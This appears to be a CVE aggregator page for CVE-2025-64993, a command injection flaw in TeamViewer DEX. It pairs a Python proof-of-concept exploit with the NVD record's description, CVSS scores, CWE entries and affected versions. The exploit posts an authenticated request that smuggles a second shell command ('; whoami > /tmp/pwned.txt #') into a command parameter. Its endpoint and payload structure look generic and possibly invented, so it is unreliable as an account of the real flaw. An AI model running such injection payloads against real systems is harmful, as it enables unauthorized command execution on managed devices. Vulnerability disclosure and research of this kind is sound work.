CVE-2025-64993

# CVE-2025-64993 PoC - TeamViewer DEX Command Injection # Requires: Valid credentials with Actioner privileges import requests import json TARGET_URL = "https://vulnerable-server/1E-ConfigMgrConsoleExtensions/api" SESSION_COOKIE = "your_session_cookie_here" def exploit_command_injection(): """ Demonstrates command injection in 1E-ConfigMgrConsoleExtensions This PoC shows how to inject arbitrary commands through improper input validation """ headers = { 'Cookie': f'session={SESSION_COOKIE}', 'Content-Type': 'application/json', 'Authorization': 'Bearer your_token_here' } # Malicious payload exploiting command injection # The vulnerable endpoint does not properly sanitize input malicious_command = "; whoami > /tmp/pwned.txt #" payload = { "instruction": "ExecuteSystemCommand", "targetDevice": "WORKSTATION-01", "parameters": { "command": f"legitimate_command{malicious_command}", "timeout": 30 } } try: response = requests.post(TARGET_URL, json=payload, headers=headers, verify=False, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Command injection successful - check /tmp/pwned.txt on target") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def verify_vulnerability(): """ Verify if the target is vulnerable by checking for known indicators """ # Check for CVE-2025-64993 in TeamViewer DEX versions check_url = f"{TARGET_URL}/version" try: response = requests.get(check_url, headers={'Cookie': f'session={SESSION_COOKIE}'}, verify=False) version_info = response.json() print(f"[*] Target version: {version_info.get('version', 'Unknown')}") except Exception as e: print(f"[-] Version check failed: {e}") if __name__ == "__main__": print("CVE-2025-64993 PoC - TeamViewer DEX Command Injection") print("=" * 60) verify_vulnerability() exploit_command_injection()

{"cve": {"id": "CVE-2025-64993", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:26.320", "lastModified": "2026-01-09T02:06:24.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-ConfigMgrConsoleExtensions instructions. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "29.0", "matchCriteriaId": "3E15BFE6-D57C-4F21-8284-68ABE840512C"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}